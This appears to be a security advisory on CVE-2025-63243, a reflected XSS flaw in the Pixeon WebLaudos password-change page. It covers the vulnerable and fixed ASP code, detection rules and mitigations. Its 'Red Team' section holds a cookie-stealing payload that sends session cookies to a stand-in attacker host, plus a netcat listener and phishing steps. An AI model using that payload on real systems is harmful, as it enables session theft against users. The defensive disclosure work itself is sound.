CVE-2025-63243

Executive Summary

CVE-2025-63243 is a reflected cross-site scripting (XSS) vulnerability in Pixeon WebLaudos version 25.1 (01). The flaw exists in the sle_sSenha parameter of the loginAlterarSenha.asp file, allowing an attacker to inject arbitrary JavaScript code via a crafted URL. When a victim visits the malicious link, the script executes in the context of the vulnerable application, potentially leading to session theft, data disclosure, or phishing attacks. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby).

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires user interaction but can lead to significant impact in a healthcare context.

Deep Dive & Mechanics

The vulnerability resides in the password change functionality of Pixeon WebLaudos. The loginAlterarSenha.asp script processes the sle_sSenha parameter without proper sanitization or encoding. An attacker can craft a URL such as:

http://target/loginAlterarSenha.asp?sle_sSenha=<script>alert('XSS')</script>

When a user clicks this link, the browser renders the injected script, executing arbitrary JavaScript. This is a classic reflected XSS, where the payload is immediately reflected in the HTTP response. The lack of output encoding or input validation allows the attack to succeed.

Vulnerable vs. Patched Code

Vulnerable Code (Pixeon WebLaudos 25.1 (01)): The loginAlterarSenha.asp file likely contains code similar to:

<%
Dim sSenha
sSenha = Request.QueryString("sle_sSenha")
Response.Write("Senha: " & sSenha)
%>

This directly outputs the user input without encoding.

Patched Code (Hypothetical): A secure version would use Server.HTMLEncode:

<%
Dim sSenha
sSenha = Request.QueryString("sle_sSenha")
Response.Write("Senha: " & Server.HTMLEncode(sSenha))
%>

No official patch is available.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Pixeon WebLaudos 25.1 (01) in a controlled environment.
2. Use a browser or tool like Burp Suite to craft the exploit.

Exploit Payload:

http://target/loginAlterarSenha.asp?sle_sSenha=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Steps:

1. Host a listener on attacker machine (e.g., nc -lvnp 80).
2. Send the crafted URL to the victim via email or social engineering.
3. When victim clicks, the script sends their session cookie to the attacker.

Blue Team

Detection:

• Monitor web logs for requests to loginAlterarSenha.asp with suspicious sle_sSenha parameters containing <script> or onerror tags.
• Use WAF rules to block common XSS patterns in query strings.

Mitigation:

• Apply input validation and output encoding.
• Implement Content Security Policy (CSP) headers.
• Restrict access to the password change page.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /loginAlterarSenha.asp with sle_sSenha parameter containing <script>, onerror, alert, or base64-encoded JavaScript.
  • Outbound connections to unknown IPs on port 80/443 from the application server.
• File IOCs:
  • Modified loginAlterarSenha.asp file (if attacker gains write access).
• Log IOCs:
  • Web server logs showing 200 responses to XSS payloads.
  • Unusual referrer headers or user-agent strings.

Detection Engineering

YARA Rule

rule CVE_2025_63243_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against Pixeon WebLaudos loginAlterarSenha.asp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63243"
    strings:
        $xss_payload = /sle_sSenha=.*(<script|onerror|onload|alert|prompt|confirm)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on Pixeon WebLaudos
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects reflected XSS attempts targeting loginAlterarSenha.asp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'loginAlterarSenha.asp'
        cs-uri-query|re: 'sle_sSenha=.*(<script|onerror|onload|alert|prompt|confirm)'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63243 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"loginAlterarSenha.asp"; http_uri; pcre:"/sle_sSenha=.*(<script|onerror|onload|alert|prompt|confirm)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Apply input validation and output encoding to the sle_sSenha parameter. Use Server.HTMLEncode in ASP.
• Short-term: Implement a Web Application Firewall (WAF) rule to block XSS patterns.
• Long-term: Upgrade to a patched version when available. Conduct a security audit of the application.
• Compensating Controls: Enforce Content Security Policy (CSP) headers, use HttpOnly cookies, and enable XSS filters in browsers.

Valters IT
Securing Digital Frontiers